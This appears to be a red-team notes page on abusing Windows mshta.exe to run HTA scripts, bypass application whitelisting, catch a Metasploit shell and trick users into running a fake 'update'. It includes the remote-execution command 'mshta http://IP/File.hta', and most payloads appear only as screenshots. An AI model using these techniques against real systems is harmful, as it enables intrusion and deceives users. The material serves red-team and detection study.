---
description: Microsoft HTML Applications
---

# MSHTA

Mshta is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `hta`.HTA's are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.

Adversaries can use mshta.exe to proxy execution of malicious .hta files and JavaScript or VBScript through a trusted Windows Utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.

Files may be executed through an inline script and can also be executed directly from URL's. Mshta.exe can be used to bypass application whitelisting solutions that do not account for it's potential use. Since mshta executes outside of the internet explorer security context, it also bypasses browser security settings.

Some example's of mshta running:

In this demo I execute a VBScript one liner just calling a simple MsgBox prompting that code was executed, but can we go a bit further?. What about using this for enumeration? Or calling a Shell?

![Vb Script One-Liner](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LxIjYuGqt6NSkyLMtQf%2F-LxIjZwKMQoNnXuuha2H%2Fimage.png?alt=media\&token=8350f089-8656-48a7-9e08-5e5d70543e50)

A shell caught with Metasploits handler



![HTA file shell](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LxIzgqrcRe9wNGwzyNZ%2F-LxJ0HsNXjzkPbPUnJpD%2Fimage.png?alt=media\&token=94449cf3-4e79-451b-b338-6b8d8572138c)

What about some Social Engineering asking them to install an "update'?. We can modify this more extensively so when they click OK they will be asked to download and execute a file of our choice.

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LxJ9Gt3FLaYk4gg2XI0%2F-LxJ9T1UNQPkMZ-uy1L2%2Fimage.png?alt=media\&token=f1e1e12f-82cf-4166-8ad1-38d9631eb168)

Can we do it on a remote host without downloading to the target machine? MSHTA can also call file from a remote server the syntax is as simple as `mshta http://IP/File.hta` on this example the HTA file executes Calc.exe.

![Calling calc.exe](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-LxJ9V-3NsShoHpl2NDQ%2F-LxJMb0HTUdT86W3iQQJ%2Fimage.png?alt=media\&token=7ba428f1-cf66-4d53-b06a-093f0e386a76)

These are a few of many ways to use mshta to execute code it's just creativity on what it can be used for and how can it help on a red team job, we talked how it can bypass AV's and avoid any mysterious logs, but any experienced Blue Team analyst can tell that it is very weird for mshta to call cmd.exe this is just a way to minimize the footprint.
